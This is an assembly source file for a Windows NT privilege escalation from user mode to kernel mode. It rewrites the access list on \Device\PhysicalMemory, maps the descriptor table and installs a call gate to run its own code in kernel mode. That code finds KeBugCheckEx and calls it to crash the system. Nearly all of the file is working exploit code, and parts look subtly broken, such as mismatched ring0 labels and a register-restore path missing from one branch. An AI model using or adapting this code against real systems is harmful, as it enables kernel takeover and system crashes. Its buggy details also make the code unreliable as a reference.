; changes to compile with fasm by okasvi

format PE GUI 4.0
entry start

include '%fasminc%\win32a.inc'

; WinNT ring3->ring0 switcher using \Device\PhysicalMemory
; idea from Phrack zine
; if it shows a BSOD with [deadbeef/dead/beef/cafe/babe] then its working ;P
; unfortunately, we cannot call many kernel-mode NT APIs because needed ring0 "infrastructure" doesn't exist for our code

; 21-22.02.2004 :: Omega Red
; 11.03.2004 :: fixed callgate selector bug, VirtualLock
; 13.03.2004 :: finding ntoskrnl base & scanning its exports (thanks to comrade for better routine ;)

;%include "omeg.inc"
;%include "win32n.inc"

;extern	GetSecurityInfo
;extern	SetSecurityInfo
;extern	GetSystemInfo
;extern	wsprintfA
;extern	MessageBoxA
;extern	ExitProcess
;extern	SetEntriesInAclA
;extern	GetLastError
;extern	LocalFree
;extern	NtOpenSection
;extern	NtMapViewOfSection
;extern	NtUnmapViewOfSection
;extern	NtClose
;extern	VirtualLock
;extern	VirtualUnlock
;extern	PathFindFileNameA
;extern	NtQuerySystemInformation	; for obtaining ntoskrnl base

; defines below from GREAT ntsys.h/ntdll.h from Sven B. Schreiber
OBJ_CASE_INSENSITIVE            equ 40h 
OBJ_KERNEL_HANDLE               equ 200h 
SE_KERNEL_OBJECT                equ     6 
DACL_SECURITY_INFORMATION       equ     4 
GRANT_ACCESS                    equ     1 
NO_INHERITANCE equ 0 
NO_MULTIPLE_TRUSTEE equ  0 
TRUSTEE_IS_NAME               equ 1 
TRUSTEE_IS_USER               equ 1  
KGDT_R0_CODE  equ 8 
REVOKE_ACCESS equ 800 
SYSTEM_MODULE_SIZE equ 284 
MAX_MODULE_COUNT equ 1024 
SYSTEM_MODULE_INFORMATION_SIZE equ 290820 
SystemModuleInformation                     equ     11 
MAXIMUM_FILENAME_LENGTH                     equ     256

STANDARD_RIGHTS_REQUIRED             equ 0F0000h
SECTION_QUERY                        equ 1h
SECTION_MAP_WRITE                    equ 2h
SECTION_MAP_READ                     equ 4h
SECTION_MAP_EXECUTE                  equ 8h
SECTION_EXTEND_SIZE                  equ 10h
SECTION_ALL_ACCESS                   equ STANDARD_RIGHTS_REQUIRED OR SECTION_QUERY OR SECTION_MAP_WRITE OR SECTION_MAP_READ OR SECTION_MAP_EXECUTE OR SECTION_EXTEND_SIZE

SYSTEM_MODULE_SIZE equ 284
MAX_MODULE_COUNT equ 1024
SYSTEM_MODULE_INFORMATION_SIZE equ 290820
;--------------------------------------------------------------------
section '.text' code readable executable
start:
	mov		edi, modinfo
	mov		ecx, SYSTEM_MODULE_INFORMATION_SIZE/4
	xor		eax, eax
	rep		stosd

; get allocation granularity (used in memory mapping)
	pushd	sys_info
	call	[GetSystemInfo]
	;callf		GetSystemInfo, sys_info

	; find NtOsKrnl base
	call		GetNtoskrnl

	; open handle to the object
	pushd	obj_attr
	pushd	WRITE_DAC or READ_CONTROL
	pushd	mem_section
	call	[NtOpenSection]
	;callf		NtOpenSection, mem_section, WRITE_DAC|READ_CONTROL, obj_attr
	pushd	e_opens1
	call	NtErrorTest
	;callf		NtErrorTest, e_opens1

	
	; get security descriptor
	pushd	p_sec_descr
	pushd	0
	pushd	p_old_dacl
	pushd	0
	pushd	0
	pushd	DACL_SECURITY_INFORMATION
	pushd	SE_KERNEL_OBJECT
	pushd	[mem_section]
	call	[GetSecurityInfo]
	;callf		GetSecurityInfo, [mem_section], SE_KERNEL_OBJECT, DACL_SECURITY_INFORMATION, 0, 0, p_old_dacl, 0, p_sec_descr
	pushd	e_getsec
	call	NtErrorTest
	;callf		ErrorTestZ, e_getsec

	; modify access rights ;]
  mov		dword [access+EXPLICIT_ACCESS.grfAccessPermissions], SECTION_ALL_ACCESS
  mov		dword [access+EXPLICIT_ACCESS.grfAccessMode], GRANT_ACCESS
  mov		dword [access+EXPLICIT_ACCESS.grfInheritance], NO_INHERITANCE
  mov		dword [access+EXPLICIT_ACCESS.Trustee+TRUSTEE.MultipleTrusteeOperation], NO_MULTIPLE_TRUSTEE
  mov		dword [access+EXPLICIT_ACCESS.Trustee+TRUSTEE.TrusteeForm], TRUSTEE_IS_NAME
  mov		dword [access+EXPLICIT_ACCESS.Trustee+TRUSTEE.TrusteeType], TRUSTEE_IS_USER
  mov		dword [access+EXPLICIT_ACCESS.Trustee+TRUSTEE.ptstrName], s_cur_user


	; create new acl
	pushd	p_new_dacl
	pushd	[p_old_dacl]
	pushd	access
	pushd	1
	call	[SetEntriesInAcl]
	;callf		SetEntriesInAclA, 1, access, [p_old_dacl], p_new_dacl
	pushd	e_setacl
	call	NtErrorTest
	;callf		ErrorTestZ, e_setacl

	; update security descriptor with new acl
	pushd	0
	pushd	[p_new_dacl]
	pushd	0
	pushd	0
	pushd	DACL_SECURITY_INFORMATION
	pushd	SE_KERNEL_OBJECT
	pushd	[mem_section]
	call	[SetSecurityInfo]
	;callf		SetSecurityInfo, [mem_section], SE_KERNEL_OBJECT, DACL_SECURITY_INFORMATION, 0, 0, [p_new_dacl], 0
	pushd	e_setsec
	call	NtErrorTest
	;callf		ErrorTestZ, e_setsec
	
	pushd	[p_sec_descr]
	call	[LocalFree]
	;callf		LocalFree, p_sec_descr
	pushd	[mem_section]
	call	[NtClose]
	;callf		NtClose, [mem_section]

	; ok.. now we have writable physical memory ;]
	; open it in r/w mode
	pushd	obj_attr
	pushd	SECTION_MAP_READ or SECTION_MAP_WRITE
	pushd	mem_section
	call	[NtOpenSection]
	;callf		NtOpenSection, mem_section, SECTION_MAP_READ|SECTION_MAP_WRITE, obj_attr
	pushd	e_opens2
	call	NtErrorTest
	;callf		NtErrorTest, e_opens2

	; setup callgate (proc offset)
	mov		eax, ring0_proc
	mov		[callgate], ax
	shr		eax, 16
	mov		[callgate+6], ax

	; get gdt
	sgdt	[gdt]
	movzx	ebx, word [gdt_limit]
	mov		eax, [gdt_base]
	call	GetPhysicalAddress
	mov		[phys_address], eax
	pushd	PAGE_READWRITE
	pushd	ebx
	pushd	[gdt_base]
	call	MapMemory

	mov		eax, [map_base]
	push	dword [callgate]
	pop		dword [eax+100*8]
	push	dword [callgate+4]
	pop		dword [eax+100*8+4]

	; ok.. almost there.. prepare far call
	mov		word [farcall+4], 100*8+3	; our callgate selector

	; lock the ring0 code to minimize chance that it will be paged out
	; well, it *can* be paged out, only code in nonpaged kernel pool *can't* be really paged...
	pushd	ring0_end-ring0_proc
	pushd	ring0_proc
	call	[VirtualLock]

	; and.. jump!
	push	dword [ntoskrnl]
	call	far [farcall]

	; cleanup
	pushd	ring0_end-ring0_proc
	pushd	ring0_proc
	call	[VirtualUnlock]
	pushd	[map_base]
	pushd	-1
	call	[NtUnmapViewOfSection]
	pushd	e_unmaps
	call	NtErrorTest
	pushd	[mem_section]
	call	[NtClose]
	ret
;--------------------------------------------------------------------
GetNtoskrnl:
	; enum modules
	pushd	0
	pushd	SYSTEM_MODULE_INFORMATION_SIZE
	pushd	modinfo
	pushd	SystemModuleInformation
	call	[NtQuerySystemInformation]
	pushd	e_query
	call	NtErrorTest
	mov		ebx, dword [modinfo]		; count
	mov		esi, modinfo+4		; 1st module

.1:									; loop
	mov		edi, esi
	add		edi, SYSTEM_MODULE.abName

	pushd	edi
	call	[PathFindFileName]
	
	
	or		dword [eax], 0x20202020	; convert to lowercase
	cmp		dword [eax], 'ntos'
	jne		.2
	or		dword [eax+4], 0x20202020
	cmp		dword [eax+4], 'krnl'
	jne		.2
	or		dword [eax+8], 0x20202020
	cmp		dword [eax+8], '.exe'
	jne		.2

	; ok, seems we have it (although should check for 0 at the end, maybe its `ntoskrnl.exe.blah' ;P)
	
	mov		eax, [esi+SYSTEM_MODULE.pAddress]	; base in memory
	mov		[ntoskrnl], eax
	popd	esi
	
	ret

.2:
	add		esi, SYSTEM_MODULE_SIZE
	dec		ebx
	jns		.1

	; umm.. ntoskrnl not found - quite unlikely to happen ;]
	pushd	0
	pushd	0
	pushd	e_ntos
	pushd	0
	call	[MessageBox]	
	pushd	2
	call	[ExitProcess]
;--------------------------------------------------------------------
; substitute for MmGetPhysicalAddress - not always ok, but for this purpose sufficient
; input: linear address in eax
GetPhysicalAddress:
	pushad
	cmp		eax, 0x80000000
	jae		.1
	cmp		eax, 0xA0000000
	jb		.1
	and		eax, 0x0FFFF000
	ret
.1:
	and		eax, 0x1FFFF000
	popad
	ret
;--------------------------------------------------------------------
; maps memory using \Device\PhysicalMemory
proc  MapMemory,base, size, access_mode
  mov             eax, [base]                     ; address
  xor             edx, edx
  push            eax
  div             dword [sys_info+SYSTEM_INFO.dwAllocationGranularity]    ; edx = offset
  mov             edi, edx
  pop             eax
  mov             ebx, [size]                     ; size
  inc             ebx
  mov             esi, ebx                        ; mapped size
  add             esi, edi
  sub             eax, edi
  call            GetPhysicalAddress
  mov             [phys_address], eax
  mov             [mapped_size], esi
  mov             eax, [mem_section]
  invoke          NtMapViewOfSection, eax, -1, map_base, 0, esi, phys_address, mapped_size, 1, 0, [access_mode]
  add             [map_base], edi
  stdcall         NtErrorTest, e_maps
  ret
endp 
;--------------------------------------------------------------------
proc    NtErrorTest, er_msg
        test            eax, eax
        jz                      .ok
        invoke          wsprintf, txtbuf, f_err, [er_msg], eax
        invoke          MessageBox, 0, txtbuf, m_caption, MB_ICONWARNING
        invoke          NtClose, [mem_section]
        invoke          ExitProcess, 1
.ok:
ret
endp
;--------------------------------------------------------------------
ring0_proc:
	mov eax,1
	mov dr0,eax
ring0_end:
_ring0_proc:
	cli
	mov		eax, [esp+8]			; param - ntoskrnl base

	push		ebx
	push		edx
	push		esi
	push		edi
; find KeBugCheckEx in exports
	mov		ebx, eax
	add		eax, [eax+0x3c]
	mov		edi, dword [eax+0x78]
	add		edi, ebx
	mov		esi, [edi+IMAGE_EXPORT_DIRECTORY.AddressOfNames]
	add		esi, ebx

	xor		edx, edx
.name:
	mov		eax, [esi]
	add		eax, ebx
	; check function name
	cmp		dword [eax+00h], "KeBu"
	jne		.F
	cmp		dword [eax+04h], "gChe"
	jne		.F
	cmp		dword [eax+08h], "ckEx"
	jne		.F
	mov		eax, [edi+IMAGE_EXPORT_DIRECTORY.AddressOfNameOrdinals]
	add		eax, ebx
	movzx		esi, word [edx*2+eax]
	mov		eax, [edi+IMAGE_EXPORT_DIRECTORY.AddressOfFunctions]
	add		eax, ebx
	mov		esi, [esi*4+eax]
	add		esi, ebx
	jmp		.fnd
.F:
	add		esi, 4
	inc		edx
	cmp		edx, [edi+IMAGE_EXPORT_DIRECTORY.NumberOfNames]
	jne		.name
.fnd:
	mov		eax, esi

	pop		edi
	pop		esi
	pop		edx
	pop		ebx

	pushd	0xbabe
	pushd	0xcafe
	pushd	0xbeef
	pushd	0xdead
	pushd	0xdeadbeef
	call	eax
	retf 4

_ring0_end:
;--------------------------------------------------------------------
section '.data' data readable writeable
	m_caption		db		"NT ring0 by Omega Red",0
	f_err				db		"Error: %s, code: 0x%x",0
	e_opens1		db		"NtOpenSection for DACL access failed",0
	e_opens2		db		"NtOpenSection for r/w failed",0
	e_getsec		db		"GetSecurityInfo failed",0
	e_setacl		db		"SetEntriesInAclA failed",0
	e_setsec		db		"SetSecurityInfo failed",0
	e_maps			db		"NtMapViewOfSection failed",0
	e_unmaps		db		"NtUnmapViewOfSection failed",0
	e_query			db		"NtQuerySystemInformation failed",0
	e_ntos			db		"ntoskrnl.exe module not found in memory!",0
	s_cur_user	db		"CURRENT_USER",0

	align 4
	callgate	dw		0							; low part of address
						dw		8							; segment selector: #define KGDT_R0_CODE    8
						dw		1110110000000001b		; misc bits ;P (5 lowest = # of params)
						dw		0							; high part of address

	align 4
	s_mem_dev_uni   du              "\Device\PhysicalMemory"
	mem_dev_uni_len	equ	$-s_mem_dev_uni

	align 4
	mem_dev_name:		; unicode_string
					dw		mem_dev_uni_len
					dw		mem_dev_uni_len+2
					dd		s_mem_dev_uni

	phys_address	dd	0,0

	align 4
	OBJECT_ATTRIBUTES_SIZE equ 24
  obj_attr: dd          OBJECT_ATTRIBUTES_SIZE 
            dd          0 
            dd          mem_dev_name 
            dd          OBJ_CASE_INSENSITIVE OR OBJ_KERNEL_HANDLE 
            dd          0 
            dd          0 

	align 4
	EXPLICIT_ACCESS_SIZE equ 32
	access: 
	times EXPLICIT_ACCESS_SIZE dd 0
	align 4
	struct TRUSTEE
		pMultipleTrustee rd 1
		MultipleTrusteeOperation rd 1
		TrusteeForm rd 1
		TrusteeType rd 1
		ptstrName rd 1
	ends
	TRUSTEE_SIZE equ 20
	align 4
	struct EXPLICIT_ACCESS
		grfAccessPermissions rd 1
		grfAccessMode rd 1
		grfInheritance rd 1
		Trustee rb TRUSTEE_SIZE
	ends
		
	struct SYSTEM_MODULE_INFORMATION
		dCount rd 1
		m_tam rb SYSTEM_MODULE_SIZE*MAX_MODULE_COUNT ; arbitrary max count - not defined anywhere
	ends

	struct SYSTEM_MODULE
		dReserved01 rd 1
		d04 rd 1
		pAddress rd 1
		dSize rd 1 ; bytes
		dFlags rd 1
		wId rw 1 ; zero based
		wRank rw 1 ; 0 if not assigned
		w18 rw 1
		wNameOffset rw 1
		abName rb MAXIMUM_FILENAME_LENGTH
	ends
	
;--------------------------------------------------------------------
section '.idata' import data readable writeable
library ntdll,'ntdll.dll',\
				shlwapi,'shlwapi.dll',\
				kernel32,'kernel32.dll',\
				user32,'user32.dll',\
				advapi32,'advapi32.dll'

import shlwapi,\
       PathFindFileName ,'PathFindFileNameA'

import ntdll,\
       NtClose,'NtClose',\
       NtMapViewOfSection,'NtMapViewOfSection',\
       NtOpenSection,'NtOpenSection',\
       NtQuerySystemInformation,'NtQuerySystemInformation',\
       NtUnmapViewOfSection,'NtUnmapViewOfSection'

import kernel32,\
			 GetProcAddress,'GetProcAddress',\
       GetSystemInfo,'GetSystemInfo',\
			 ExitProcess,'ExitProcess',\
       LoadLibrary,'LoadLibraryA',\
			 LocalFree,'LocalFree',\
			 VirtualLock,'VirtualLock',\
			 VirtualUnlock,'VirtualUnlock'

import advapi32,\
			 GetSecurityInfo,'GetSecurityInfo',\
			 SetEntriesInAcl,'SetEntriesInAclA',\
			 SetSecurityInfo,'SetSecurityInfo'

import user32,\
			 MessageBox,'MessageBoxA',\
			 wsprintf,'wsprintfA'

section '.udata' readable writeable

	struct IMAGE_EXPORT_DIRECTORY
		Characteristics           rd  1
		TimeDateStamp             rd  1
		MajorVersion              rw  1
		MinorVersion              rw  1
		nName                     rd  1
		nBase                     rd  1
		NumberOfFunctions         rd  1
		NumberOfNames             rd  1
		AddressOfFunctions        rd  1
		AddressOfNames            rd  1
		AddressOfNameOrdinals     rd  1
	ends
	
	gdt:
	gdt_limit		rw	1
	gdt_base		rd	1
	farcall:		rw	3
	txtbuf			rb	4096
	mem_section	rd	1
	mapped_size	rd	1
	map_base		rd	1
	p_old_dacl	rd	1
	p_new_dacl	rd	1
	p_sec_descr	rd	1
	sys_info		SYSTEM_INFO
	ntoskrnl		rd	1
	align 4
	modinfo			rb	SYSTEM_MODULE_INFORMATION_SIZE